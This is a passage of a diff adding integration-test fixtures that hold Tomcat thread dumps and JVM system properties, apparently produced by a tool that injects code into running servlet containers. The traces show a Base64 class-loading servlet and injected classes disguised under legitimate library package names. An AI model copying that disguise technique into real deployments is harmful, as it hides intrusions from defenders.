java.base@17.0.14/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@17.0.14/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-Acceptor" #31 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.14/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.14/sun.nio.ch.ServerSocketChannelImpl.implAccept(Unknown Source) + at java.base@17.0.14/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:516) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:73) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:128) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"Common-Cleaner" #12 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@dc28f99 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.14/java.lang.Object.wait(Native Method) + at java.base@17.0.14/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@17.0.14/jdk.internal.ref.CleanerImpl.run(Unknown Source) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + at java.base@17.0.14/jdk.internal.misc.InnocuousThread.run(Unknown Source) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.14/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.14/sun.nio.ch.NioSocketImpl.accept(Unknown Source) + at java.base@17.0.14/java.net.ServerSocket.implAccept(Unknown Source) + at java.base@17.0.14/java.net.ServerSocket.platformImplAccept(Unknown Source) + at java.base@17.0.14/java.net.ServerSocket.implAccept(Unknown Source) + at java.base@17.0.14/java.net.ServerSocket.implAccept(Unknown Source) + at java.base@17.0.14/java.net.ServerSocket.accept(Unknown Source) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:556) + at org.apache.catalina.startup.Catalina.await(Catalina.java:849) + at org.apache.catalina.startup.Catalina.start(Catalina.java:797) + at java.base@17.0.14/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@17.0.14/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) + at java.base@17.0.14/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) + at java.base@17.0.14/java.lang.reflect.Method.invoke(Unknown Source) + at app//org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:342) + at app//org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:473) + +"AsyncFileHandlerWriter-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43329901 + java.lang.Thread.State: WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@17.0.14/java.util.concurrent.LinkedBlockingDeque.takeFirst(Unknown Source) + at java.base@17.0.14/java.util.concurrent.LinkedBlockingDeque.take(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-5" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7d897a70 + java.lang.Thread.State: WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@17.0.14/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-9" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7d897a70 + java.lang.Thread.State: WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@17.0.14/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + + +=========================================== + +StackClassNames: +com.fasterxml.jackson.xeZvQ.ErrorHandler +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.startup.Bootstrap +org.apache.catalina.startup.Catalina +org.apache.catalina.valves.AbstractAccessLogValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.tomcat.util.net.Acceptor +org.apache.tomcat.util.net.NioEndpoint +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.util.threads.ThreadPoolExecutor +org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker +org.apache.tomcat.websocket.server.WsFilter diff --git a/integration-test/src/test/resources/infos/Tomcat11JRE21ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Tomcat11JRE21ContainerTestBasicInfo.txt new file mode 100644 index 00000000..1611ec27 --- /dev/null +++ b/integration-test/src/test/resources/infos/Tomcat11JRE21ContainerTestBasicInfo.txt @@ -0,0 +1,437 @@ +# Generated At 2025-08-10 15:00:45 +SystemProps: +java.specification.version: 21 +sun.jnu.encoding: UTF-8 +java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +catalina.useNaming: true +user.timezone: Etc/UTC +java.vm.specification.version: 21 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: org.apache.catalina.startup.Bootstrap start +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.naming.factory.url.pkgs: org.apache.naming +java.version.date: 2025-01-21 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +jdk.tls.ephemeralDHKeySize: 2048 +server.loader: +java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 21.0.6+7-LTS +java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory +user.name: root +stdout.encoding: UTF-8 +path.separator: : +common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar" +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-21.0.6+7 +org.apache.catalina.security.SecurityListener.UMASK: 0027 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /usr/local/tomcat/temp +tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-jakarta-web*.jar,log4javascript*.jar,slf4j-taglib*.jar +catalina.home: /usr/local/tomcat +java.version: 21.0.6 +tomcat.util.scan.StandardJarScanFilter.jarsToSkip: annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-ssi.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jakartaee-migration-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-coyote-ffm.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,websocket-client-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar +user.dir: /usr/local/tomcat +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +catalina.base: /usr/local/tomcat +shared.loader: +native.encoding: UTF-8 +java.util.logging.manager: org.apache.juli.ClassLoaderLogManager +java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +stderr.encoding: UTF-8 +java.vendor: Eclipse Adoptium +java.vm.version: 21.0.6+7-LTS +sun.io.unicode.encoding: UnicodeLittle +tomcat.util.buf.StringCache.byte.enabled: true +java.class.version: 65.0 + +=========================================== + +ThreadStacks: +"http-nio-8080-exec-6" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c033de0 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-5" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c033de0 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"Signal Dispatcher" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Catalina-utility-2" #30 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@583cb2b8 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.6/java.lang.ref.Reference.processPendingReferences(Unknown Source) + at java.base@21.0.6/java.lang.ref.Reference$ReferenceHandler.run(Unknown Source) + +"Common-Cleaner" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d3e37db + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.await(Unknown Source) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove0(Unknown Source) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@21.0.6/jdk.internal.ref.CleanerImpl.run(Unknown Source) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + at java.base@21.0.6/jdk.internal.misc.InnocuousThread.run(Unknown Source) + +"http-nio-8080-exec-8" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c033de0 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"Catalina-utility-1" #29 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@583cb2b8 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-7" #37 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.6/java.lang.Thread.getAllStackTraces(Unknown Source) + at ch.qos.logback.RZKMg.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@21.0.6/java.lang.String.valueOf(Unknown Source) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:243) + at jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:130) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:109) + at jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:109) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:167) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:79) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:116) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) + at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:666) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:396) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:903) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1744) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-Acceptor" #42 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.Net.accept(Native Method) + at java.base@21.0.6/sun.nio.ch.ServerSocketChannelImpl.implAccept(Unknown Source) + at java.base@21.0.6/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:516) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:73) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:128) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"Notification Thread" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-2" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c033de0 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@69c0a72d + java.lang.Thread.State: WAITING + at java.base@21.0.6/java.lang.Object.wait0(Native Method) + at java.base@21.0.6/java.lang.Object.wait(Unknown Source) + at java.base@21.0.6/java.lang.Object.wait(Unknown Source) + at java.base@21.0.6/java.lang.ref.NativeReferenceQueue.await(Unknown Source) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove0(Unknown Source) + at java.base@21.0.6/java.lang.ref.NativeReferenceQueue.remove(Unknown Source) + at java.base@21.0.6/java.lang.ref.Finalizer$FinalizerThread.run(Unknown Source) + +"AsyncFileHandlerWriter-1" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2c696bc8 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.util.concurrent.LinkedBlockingDeque.takeFirst(Unknown Source) + at java.base@21.0.6/java.util.concurrent.LinkedBlockingDeque.take(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-9" #39 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c033de0 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at 